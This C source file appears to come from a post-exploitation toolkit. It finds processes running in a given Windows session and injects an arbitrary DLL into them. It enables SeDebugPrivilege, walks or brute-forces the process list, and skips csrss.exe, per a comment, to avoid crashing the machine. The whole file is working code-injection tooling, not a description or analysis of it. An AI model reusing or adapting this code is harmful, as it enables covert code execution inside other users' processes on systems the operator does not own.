#include "loader.h" #include "session.h" /* * Returns the session id associated with a process. * Returns -1 if we cant determine the session id (e.g. insufficient privileges). * Returns 0 by default on NT4. */ DWORD session_id( DWORD dwProcessId ) { typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id ); static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL; HMODULE hKernel = NULL; DWORD dwSessionId = 0; do { if( !pProcessIdToSessionId ) { hKernel = LoadLibrary( "kernel32.dll" ); if( hKernel ) pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" ); } if( !pProcessIdToSessionId ) break; if( !pProcessIdToSessionId( dwProcessId, &dwSessionId ) ) dwSessionId = -1; } while( 0 ); if( hKernel ) FreeLibrary( hKernel ); return dwSessionId; } /* * Returns the session id attached to the physical console. * Returns 0 by default on NT4 and 2000. */ DWORD session_activeid() { typedef DWORD (WINAPI * WTSGETACTIVECONSOLESESSIONID )( VOID ); static WTSGETACTIVECONSOLESESSIONID pWTSGetActiveConsoleSessionId = NULL; HMODULE hKernel = NULL; DWORD dwSessionId = 0; do { if( !pWTSGetActiveConsoleSessionId ) { hKernel = LoadLibrary( "kernel32.dll" ); if( hKernel ) pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" ); } if( !pWTSGetActiveConsoleSessionId ) break; dwSessionId = pWTSGetActiveConsoleSessionId(); } while( 0 ); if( hKernel ) FreeLibrary( hKernel ); return dwSessionId; } /* * On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available. */ DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ) { DWORD dwResult = ERROR_INVALID_HANDLE; DWORD pid = 0; do { for( pid=0 ; pid<0xFFFF ; pid++ ) { HANDLE hProcess = NULL; hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); if( !hProcess ) continue; CloseHandle( hProcess ); if( dwSessionId == session_id( pid ) ) { dwResult = ps_inject( pid, pDllBuffer ); if( dwResult == ERROR_SUCCESS ) { dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid ); break; } } } } while( 0 ); return dwResult; } /* * Inject an arbitrary DLL into a process running in specific Windows session. */ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ) { DWORD dwResult = ERROR_INVALID_HANDLE; CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL; PROCESS32FIRST pProcess32First = NULL; PROCESS32NEXT pProcess32Next = NULL; HANDLE hProcessSnap = NULL; HMODULE hKernel = NULL; HANDLE hToken = NULL; BOOL bUseBruteForce = TRUE; PROCESSENTRY32 pe32 = {0}; do { // If we can, get SeDebugPrivilege... if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { TOKEN_PRIVILEGES priv = {0}; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) { if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) ); dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" ); } CloseHandle( hToken ); } hKernel = LoadLibrary( "kernel32" ); if( !hKernel ) break; pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" ); pProcess32First = (PROCESS32FIRST)GetProcAddress( hKernel, "Process32First" ); pProcess32Next = (PROCESS32NEXT)GetProcAddress( hKernel, "Process32Next" ); if( !pCreateToolhelp32Snapshot || !pProcess32First || !pProcess32Next ) break; hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hProcessSnap == INVALID_HANDLE_VALUE ) break; pe32.dwSize = sizeof( PROCESSENTRY32 ); if( !pProcess32First( hProcessSnap, &pe32 ) ) break; bUseBruteForce = FALSE; do { if( dwSessionId == session_id( pe32.th32ProcessID ) ) { // On Windows 2008R2 we Blue Screen the box if we inject via APC injection // into the target sessions instance of csrss.exe!!! so we filter it out... if( strstr( pe32.szExeFile, "csrss.exe" ) ) continue; dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer ); if( dwResult == ERROR_SUCCESS ) { dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile ); break; } } } while( pProcess32Next( hProcessSnap, &pe32 ) ); } while( 0 ); if( hProcessSnap ) CloseHandle( hProcessSnap ); if( hKernel ) FreeLibrary( hKernel ); // On NT4 we must brute force the process list... if( bUseBruteForce ) dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer ); return dwResult; }